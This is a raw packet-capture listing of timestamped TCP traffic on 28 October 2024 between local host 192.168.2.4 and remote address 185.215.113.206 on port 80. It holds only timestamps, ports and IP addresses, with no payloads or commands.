Oct 28, 2024 06:27:27.765646935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.810900927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.810934067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.811001062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841224909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841257095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841276884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841289043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841300964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841320992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841341019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841341972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841351986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841361046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841362000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841379881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841389894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841392994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841402054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841406107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841420889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841434002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841444969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841489077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841515064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841527939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841537952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841557980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841582060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841613054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841629028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841640949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841651917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841664076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841675043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841675997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841682911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841689110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841698885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841702938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841706038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841713905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841744900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841763973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841774940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841779947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841784954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841809988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841840029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841849089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841857910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841866970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841883898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841890097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841918945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841922045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841933966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841943979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.841965914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841988087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.841995001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.842005014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.842015028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.842027903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.842037916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.842050076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.842071056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.842080116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.842091084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.842101097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.842128038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.842129946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.842140913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.842150927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.842173100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.842628956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.842665911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.846174002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846201897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846223116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846285105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846296072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846306086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846333981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.846368074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846384048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.846398115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846405983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.846411943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846421957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846429110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.846441984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846453905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.846479893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.846494913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846503973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846529007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.846561909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846601009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.846611977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846626043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846652031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.846713066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846723080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846733093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846744061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846751928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.846756935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846769094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846776009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.846796036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.846812963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.846837997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846848011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846858025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846874952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.846903086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.846971989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846982002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.846992016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847003937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847011089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847014904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847033978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847037077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847043991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847054005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847054958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847065926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847085953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847089052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847099066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847106934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847110987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847126961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847140074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847146034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847150087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847167969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847182035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847189903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847199917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847234011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847237110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847251892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847261906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847279072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847297907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847351074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847362995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847377062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847388029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847399950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847404957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847417116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847434044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847481966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847493887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847503901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847537041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847548962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847559929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847570896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847589016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847593069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847599983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847609043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847616911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847636938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847661018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847664118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847670078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847681999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847692966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.847701073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.847732067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.885651112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.885670900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.885682106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.885693073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.885706902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.885744095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.885777950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.885802984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.885813951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.885848999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.885909081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.885921001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.885931015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.885948896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.885961056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.885965109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.885972023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.885977983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.885982037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.885998964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.886008978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.886012077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.886023045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.886034966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.886037111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.886054993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.886064053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.886066914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.886090040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.886115074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.886116982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.886125088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.886135101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.886166096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.886177063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.961431026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961466074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961477041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961496115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961507082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961528063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.961536884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961546898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961575985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.961587906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.961611032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961668015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961679935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961714983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.961733103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961744070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961755991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961774111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.961801052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961812019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961813927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.961822033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961836100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961844921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961849928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961850882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.961858988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.961894989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.961925983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961937904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961949110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961960077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961961985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.961971998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.961994886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962013960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962024927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962052107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962083101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962094069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962105989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962120056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962127924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962146044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962169886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962234020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962250948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962261915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962271929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962277889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962285995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962296009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962296963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962308884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962308884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962318897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962342978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962354898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962387085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962400913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962410927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962445974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962465048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962477922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962486982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962495089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962496042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962505102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962518930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962532043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962539911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962544918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962562084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962584019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962606907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962619066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962620974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962646961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962657928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962671041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.962682009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962691069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.962717056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.966629982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.966640949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.966651917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.966682911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.966686010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.966696978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.966713905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.966739893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.966768026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.966778040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.966788054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.966799974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.966810942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.966821909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.966829062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.966835976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.966847897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.966851950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.966912985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.966917992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.966928959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.966938972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.966967106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.966979027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967102051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967113972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967132092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967144966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967155933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967159033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967164040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967176914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967186928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967192888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967204094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967215061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967217922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967257023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967262983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967273951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967283010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967322111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967333078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967396975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967408895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967420101 CET	80	49758	185.215.113.206	192.168.2.4
